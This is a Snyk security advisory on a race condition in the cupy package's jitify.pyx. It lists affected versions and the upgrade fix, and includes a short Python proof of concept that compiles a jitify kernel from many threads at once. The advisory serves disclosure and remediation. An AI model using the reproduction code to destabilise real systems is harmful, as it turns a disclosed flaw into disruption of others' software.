Race Condition Affecting cupy package, versions [11.0.0a1,11.5.0)[12.0.0a1,12.0.0b3)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Race Condition vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-CUPY-5882227
  • published6 Sept 2023
  • disclosed1 Sept 2023
  • creditUnknown

Introduced: 1 Sep 2023

CVE NOT AVAILABLE CWE-362  (opens in a new tab)

How to fix?

Upgrade cupy to version 11.5.0, 12.0.0b3 or higher.

Overview

Affected versions of this package are vulnerable to Race Condition due to missing checks in jitify.pyx file. This issue allows an attacker to interfere with processes leading to unintended behaviour.

PoC


$ export CUPY_CACHE_IN_MEMORY=1
$ ./test.py 10


import sys
import threading
import cupy


def run():
    kern = cupy.RawKernel(code='''
#include <cupy/cuda_workaround.h>
#include <cupy/cub/cub/block/block_reduce.cuh>
#include <cupy/cub/cub/block/block_load.cuh>

extern "C" __global__ void mykernel() {}''', name='mykernel', jitify=True)
    kern.compile()

threads = []
for i in range(int(sys.argv[1])):
    threads.append(threading.Thread(target=run))

for t in threads:
    t.start()

for t in threads:
    t.join()

CVSS Scores

version 3.1